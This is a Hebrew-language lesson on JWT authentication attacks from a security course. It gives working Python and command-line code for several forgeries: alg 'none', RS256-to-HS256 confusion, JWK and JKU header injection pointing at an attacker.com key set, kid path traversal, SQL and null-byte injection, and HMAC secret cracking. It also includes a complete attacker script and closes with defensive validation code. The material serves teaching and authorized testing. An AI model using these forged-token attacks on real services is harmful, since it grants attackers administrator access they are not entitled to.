תקיפת JWT - JWT Attacks¶
מבוא¶
טוקני JWT (JSON Web Token) הפכו לסטנדרט הנפוץ ביותר לניהול אותנטיקציה ב-API מודרניים ובאפליקציות SPA. בקורס הבסיסי למדנו מהו JWT וכיצד הוא עובד. בשיעור זה נצלול לעומק לתקיפות מתקדמות שמנצלות חולשות בהגדרות JWT, באימות חתימות ובניהול מפתחות.
סקירת מבנה JWT¶
טוקן JWT מורכב משלושה חלקים מופרדים בנקודות:
כל חלק מקודד ב-Base64URL. לדוגמה:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlciI6ImFkbWluIiwiaWF0IjoxNjk5MDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
פענוח ה-Header:
פענוח ה-Payload:
החלק השלישי הוא החתימה, שנוצרת כך:
תקיפה 1: אלגוריתם None - None Algorithm Attack¶
הרקע¶
מפרט JWT תומך באלגוריתם none שמשמעותו "ללא חתימה". שרתים שלא מאמתים כראוי את ה-alg עלולים לקבל טוקנים ללא חתימה.
שלבי התקיפה¶
- קחו טוקן JWT תקין
- שנו את ה-header כך שה-
algיהיה"none" - שנו את ה-payload כרצונכם
- הסירו את החתימה (השאירו את הנקודה האחרונה)
קוד תקיפה ב-Python¶
import base64
import json
def exploit_none_algorithm(token):
"""ניצול אלגוריתם none ב-JWT"""
# פירוק הטוקן
parts = token.split('.')
# שינוי ה-header לאלגוריתם none
header = {"alg": "none", "typ": "JWT"}
# שינוי ה-payload - הפיכה לאדמין
payload = json.loads(
base64.urlsafe_b64decode(parts[1] + '==')
)
payload['role'] = 'admin'
payload['user'] = 'administrator'
# קידוד מחדש
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
new_payload = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
# טוקן ללא חתימה - שימו לב לנקודה בסוף
malicious_token = f"{new_header}.{new_payload}."
return malicious_token
# שימוש
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.abc123"
print(exploit_none_algorithm(original))
וריאציות נוספות של שם האלגוריתם שעשויות לעבוד:
תקיפה 2: בלבול אלגוריתמים - Algorithm Confusion (RS256 to HS256)¶
הרקע¶
כאשר השרת משתמש ב-RS256 (חתימה א-סימטרית), הוא חותם עם מפתח פרטי ומאמת עם מפתח ציבורי. אם נשנה את האלגוריתם ל-HS256 (חתימה סימטרית), השרת עלול להשתמש במפתח הציבורי כסוד של HMAC.
שלבי התקיפה¶
- השיגו את המפתח הציבורי של השרת (בדרך כלל זמין ב-
/.well-known/jwks.json) - שנו את ה-
algמ-RS256 ל-HS256 - חתמו על הטוקן באמצעות HMAC עם המפתח הציבורי כסוד
קוד תקיפה¶
import jwt
import requests
def algorithm_confusion_attack(token, public_key_url):
"""תקיפת בלבול אלגוריתמים RS256 -> HS256"""
# שלב 1: השגת המפתח הציבורי
resp = requests.get(public_key_url)
public_key = resp.text # PEM format
# שלב 2: פענוח הטוקן המקורי (ללא אימות)
payload = jwt.decode(token, options={"verify_signature": False})
# שלב 3: שינוי הנתונים
payload['role'] = 'admin'
# שלב 4: חתימה מחדש עם HS256
# באמצעות המפתח הציבורי כסוד HMAC
malicious_token = jwt.encode(
payload,
public_key,
algorithm='HS256'
)
return malicious_token
# שימוש
token = "eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.signature"
public_key_url = "https://target.com/.well-known/jwks.json"
שימו לב: ספריית PyJWT בגרסאות חדשות חוסמת תקיפה זו כברירת מחדל. יש להשתמש בגרסה ישנה או בספריה אחרת.
השגת המפתח הציבורי ממספר טוקנים¶
כאשר המפתח הציבורי לא זמין ישירות, ניתן לחלץ אותו משני טוקנים חתומים:
תקיפה 3: הזרקת JWK בתוך ה-Header - JWK Header Injection¶
הרקע¶
פרמטר jwk ב-header מאפשר להטמיע מפתח ציבורי ישירות בתוך הטוקן. שרתים שסומכים על מפתח זה ללא אימות חשופים לתקיפה.
שלבי התקיפה¶
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt
import json
def jwk_injection_attack():
"""תקיפת הזרקת JWK ב-header"""
# שלב 1: יצירת זוג מפתחות RSA חדש
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
# שלב 2: יצירת JWK מהמפתח הציבורי
from jwt.algorithms import RSAAlgorithm
jwk_dict = json.loads(RSAAlgorithm.to_jwk(public_key))
# שלב 3: בניית header עם JWK מוטמע
header = {
"alg": "RS256",
"typ": "JWT",
"jwk": jwk_dict
}
# שלב 4: payload זדוני
payload = {
"sub": "admin",
"role": "administrator",
"iat": 1699000000,
"exp": 1999000000
}
# שלב 5: חתימה עם המפתח הפרטי שלנו
token = jwt.encode(
payload,
private_key,
algorithm='RS256',
headers={"jwk": jwk_dict}
)
return token
תקיפה 4: הזרקת JKU - JKU Header Injection¶
הרקע¶
פרמטר jku (JWK Set URL) מצביע על URL שממנו השרת מוריד את ערכת המפתחות. אם השרת לא מאמת כראוי את ה-URL, ניתן להפנות אותו לשרת של התוקף.
שלבי התקיפה¶
- צרו זוג מפתחות RSA
- ארחו את המפתח הציבורי בפורמט JWK Set בשרת שלכם
- שנו את ה-
jkuב-header להצביע על השרת שלכם - חתמו את הטוקן עם המפתח הפרטי שלכם
קוד תקיפה¶
import jwt
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
def jku_injection_attack(attacker_url):
"""תקיפת הזרקת JKU"""
# יצירת מפתחות
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# ה-JWK Set שיאורח בשרת התוקף
from jwt.algorithms import RSAAlgorithm
public_jwk = json.loads(
RSAAlgorithm.to_jwk(private_key.public_key())
)
public_jwk["kid"] = "attacker-key-1"
jwks = {
"keys": [public_jwk]
}
print("[*] יש לארח את ה-JWKS הבא בשרת שלכם:")
print(json.dumps(jwks, indent=2))
# יצירת הטוקן הזדוני
payload = {
"sub": "admin",
"role": "administrator"
}
token = jwt.encode(
payload,
private_key,
algorithm='RS256',
headers={
"jku": f"{attacker_url}/.well-known/jwks.json",
"kid": "attacker-key-1"
}
)
return token
# שימוש
token = jku_injection_attack("https://attacker.com")
טכניקות לעקיפת בדיקת URL¶
שרתים רבים בודקים שה-jku מצביע על דומיין מורשה. טכניקות עקיפה:
# עקיפה באמצעות open redirect
https://target.com/redirect?url=https://attacker.com/jwks.json
# עקיפה באמצעות fragment
https://target.com#@attacker.com/jwks.json
# עקיפה באמצעות subdomain
https://target.com.attacker.com/jwks.json
# עקיפה באמצעות path traversal
https://target.com/..%2F..%2Fattacker.com/jwks.json
תקיפה 5: תקיפות על פרמטר kid - KID Parameter Attacks¶
הרקע¶
פרמטר kid (Key ID) מציין לשרת איזה מפתח להשתמש לאימות. אם הערך שלו מועבר לפעולות ללא סינון, ניתן לנצל זאת.
תקיפה 5.1: מעבר ספריות - Path Traversal¶
import jwt
import hashlib
def kid_path_traversal():
"""ניצול path traversal בפרמטר kid"""
# הצבעה על קובץ ידוע עם תוכן ידוע
# /dev/null מחזיר מחרוזת ריקה
header = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../dev/null"
}
payload = {
"sub": "admin",
"role": "administrator"
}
# חתימה עם מחרוזת ריקה (תוכן /dev/null)
token = jwt.encode(
payload,
"", # סוד ריק - תוכן הקובץ /dev/null
algorithm='HS256',
headers={"kid": "../../../../dev/null"}
)
return token
def kid_known_file():
"""ניצול kid עם קובץ סטטי ידוע"""
# שימוש בקובץ CSS ציבורי כסוד
header = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../var/www/html/css/style.css"
}
# יש לקרוא את תוכן הקובץ הציבורי
import requests
css_content = requests.get(
"https://target.com/css/style.css"
).text
payload = {"sub": "admin", "role": "administrator"}
token = jwt.encode(
payload,
css_content,
algorithm='HS256',
headers={"kid": "../../../../var/www/html/css/style.css"}
)
return token
תקיפה 5.2: הזרקת SQL - SQL Injection in KID¶
def kid_sql_injection():
"""ניצול SQL injection בפרמטר kid"""
# אם השרת מחפש את המפתח בבסיס נתונים:
# SELECT key FROM keys WHERE kid = '<user_input>'
# הזרקת UNION לקבלת ערך ידוע כמפתח
kid_payload = "' UNION SELECT 'my-secret-key' -- "
payload = {"sub": "admin", "role": "administrator"}
token = jwt.encode(
payload,
"my-secret-key",
algorithm='HS256',
headers={"kid": kid_payload}
)
return token
תקיפה 5.3: הזרקת Null Byte¶
def kid_null_byte():
"""ניצול null byte בפרמטר kid"""
# ה-null byte יגרום לקטיעת הנתיב
kid_payload = "valid-key-id\x00.pem"
payload = {"sub": "admin"}
token = jwt.encode(
payload,
"secret",
algorithm='HS256',
headers={"kid": kid_payload}
)
return token
תקיפה 6: מניפולציית חותמות זמן - Timestamp Manipulation¶
הרקע¶
טוקני JWT כוללים שדות זמן כמו exp (תפוגה), iat (זמן יצירה), ו-nbf (לא לפני). מניפולציה של שדות אלו יכולה להאריך תוקף טוקנים או לעקוף בדיקות.
import time
import jwt
def timestamp_manipulation(token, secret):
"""מניפולציית חותמות זמן ב-JWT"""
# פענוח ללא אימות
payload = jwt.decode(token, options={"verify_signature": False})
# הארכת תוקף ל-10 שנים קדימה
payload['exp'] = int(time.time()) + (10 * 365 * 24 * 3600)
# שינוי זמן יצירה
payload['iat'] = int(time.time())
# הסרת nbf אם קיים
payload.pop('nbf', None)
# חתימה מחדש (דורש את הסוד)
new_token = jwt.encode(payload, secret, algorithm='HS256')
return new_token
def exploit_expired_token_acceptance(expired_token):
"""בדיקה אם השרת מקבל טוקנים שפג תוקפם"""
import requests
headers = {"Authorization": f"Bearer {expired_token}"}
# שרתים מסוימים לא בודקים תפוגה
response = requests.get(
"https://target.com/api/admin",
headers=headers
)
if response.status_code == 200:
print("[+] השרת מקבל טוקנים שפג תוקפם!")
return response
כלי עבודה - Tools¶
jwt.io¶
אתר אינטרנט לפענוח ובדיקת טוקני JWT. שימושי לניתוח מהיר אך לא לתקיפות.
jwt_tool¶
הכלי המרכזי לתקיפת JWT:
# סריקה אוטומטית של חולשות
python3 jwt_tool.py <token> -M at
# תקיפת none algorithm
python3 jwt_tool.py <token> -X a
# תקיפת algorithm confusion
python3 jwt_tool.py <token> -X k -pk public_key.pem
# שינוי ערכים ב-payload
python3 jwt_tool.py <token> -T -S hs256 -p "secret"
# שבירת סוד HMAC באמצעות מילון
python3 jwt_tool.py <token> -C -d wordlist.txt
הרחבת JWT ל-Burp Suite¶
1. התקינו את ההרחבה JWT Editor מה-BApp Store
2. טוקני JWT יזוהו אוטומטית בבקשות
3. לחצו על הלשונית JSON Web Token לעריכה
4. השתמשו ב-Attack לביצוע תקיפות אוטומטיות
שבירת סוד HMAC באמצעות hashcat¶
# המרת JWT לפורמט hashcat
echo -n "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ" > jwt_hash.txt
# שבירה עם מילון
hashcat -m 16500 jwt_hash.txt wordlist.txt
# שבירה עם brute force
hashcat -m 16500 jwt_hash.txt -a 3 ?a?a?a?a?a?a
סקריפט תקיפה מלא¶
#!/usr/bin/env python3
"""
סקריפט מקיף לתקיפת JWT
"""
import jwt
import json
import base64
import requests
import argparse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
class JWTAttacker:
def __init__(self, token, target_url):
self.token = token
self.target_url = target_url
self.header = self._decode_header()
self.payload = self._decode_payload()
def _decode_header(self):
header_b64 = self.token.split('.')[0]
header_b64 += '=' * (4 - len(header_b64) % 4)
return json.loads(base64.urlsafe_b64decode(header_b64))
def _decode_payload(self):
payload_b64 = self.token.split('.')[1]
payload_b64 += '=' * (4 - len(payload_b64) % 4)
return json.loads(base64.urlsafe_b64decode(payload_b64))
def test_none_algorithm(self):
"""בדיקת תקיפת none algorithm"""
print("[*] בודק none algorithm...")
for alg in ["none", "None", "NONE", "nOnE"]:
header = {"alg": alg, "typ": "JWT"}
payload = self.payload.copy()
payload['role'] = 'admin'
h = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
malicious = f"{h}.{p}."
resp = requests.get(
self.target_url,
headers={"Authorization": f"Bearer {malicious}"}
)
if resp.status_code == 200:
print(f"[+] עבד עם: {alg}")
return malicious
print("[-] none algorithm לא עבד")
return None
def test_kid_path_traversal(self):
"""בדיקת path traversal ב-kid"""
print("[*] בודק kid path traversal...")
paths = [
"../../../../dev/null",
"../../../../etc/hostname",
"../../../../../../../dev/null",
]
for path in paths:
payload = self.payload.copy()
payload['role'] = 'admin'
try:
token = jwt.encode(
payload,
"",
algorithm='HS256',
headers={"kid": path}
)
resp = requests.get(
self.target_url,
headers={"Authorization": f"Bearer {token}"}
)
if resp.status_code == 200:
print(f"[+] עבד עם נתיב: {path}")
return token
except Exception as e:
continue
print("[-] kid path traversal לא עבד")
return None
def info(self):
"""הדפסת מידע על הטוקן"""
print(f"Algorithm: {self.header.get('alg')}")
print(f"Type: {self.header.get('typ')}")
print(f"Header: {json.dumps(self.header, indent=2)}")
print(f"Payload: {json.dumps(self.payload, indent=2)}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="JWT Attacker")
parser.add_argument("token", help="JWT token")
parser.add_argument("url", help="Target URL")
parser.add_argument("--attack", choices=[
"none", "kid", "info", "all"
], default="info")
args = parser.parse_args()
attacker = JWTAttacker(args.token, args.url)
if args.attack == "info":
attacker.info()
elif args.attack == "none":
attacker.test_none_algorithm()
elif args.attack == "kid":
attacker.test_kid_path_traversal()
elif args.attack == "all":
attacker.info()
attacker.test_none_algorithm()
attacker.test_kid_path_traversal()
הגנות - Defenses¶
1. רשימת אלגוריתמים מותרים¶
# נכון - הגדרה מפורשת של אלגוריתם
payload = jwt.decode(
token,
secret,
algorithms=["HS256"] # רק אלגוריתם זה מותר
)
# שגוי - מאפשר כל אלגוריתם
payload = jwt.decode(token, secret, algorithms=jwt.algorithms.ALGORITHMS)
2. אימות כל פרמטרי ה-Header¶
def validate_jwt_header(token):
"""אימות header של JWT"""
header = jwt.get_unverified_header(token)
# בדיקת אלגוריתם
allowed_algs = ["RS256"]
if header.get("alg") not in allowed_algs:
raise ValueError("אלגוריתם לא מורשה")
# דחיית פרמטרים מסוכנים
dangerous_params = ["jwk", "jku", "x5u", "x5c"]
for param in dangerous_params:
if param in header:
raise ValueError(f"פרמטר {param} אסור ב-header")
# אימות kid
if "kid" in header:
kid = header["kid"]
if "/" in kid or ".." in kid or "'" in kid:
raise ValueError("kid מכיל תווים אסורים")
return True
3. ניהול מפתחות נכון¶
# שימוש במפתח RSA חזק (מינימום 2048 ביט)
# שימוש בסוד HMAC ארוך (מינימום 256 ביט)
# רוטציית מפתחות תקופתית
# שמירת מפתחות ב-vault מאובטח (HashiCorp Vault, AWS KMS)
4. אימות נכון של טוקנים¶
def validate_token(token, public_key):
"""אימות מלא של טוקן JWT"""
try:
payload = jwt.decode(
token,
public_key,
algorithms=["RS256"],
options={
"verify_exp": True,
"verify_iat": True,
"verify_nbf": True,
"require": ["exp", "iat", "sub"]
}
)
return payload
except jwt.ExpiredSignatureError:
raise ValueError("הטוקן פג תוקף")
except jwt.InvalidTokenError as e:
raise ValueError(f"טוקן לא תקין: {e}")
סיכום¶
תקיפות JWT מנצלות את הגמישות של המפרט ואת ההטמעות הלקויות. הנקודות המרכזיות:
- תמיד הגדירו רשימת אלגוריתמים מותרים מפורשת
- לעולם אל תסמכו על פרמטרים שמגיעים מתוך הטוקן עצמו (jwk, jku, kid)
- השתמשו בספריות מעודכנות שחוסמות תקיפות ידועות
- בצעו אימות מלא של כל שדות הטוקן כולל חותמות זמן
- נהלו מפתחות בצורה מאובטחת עם רוטציה תקופתית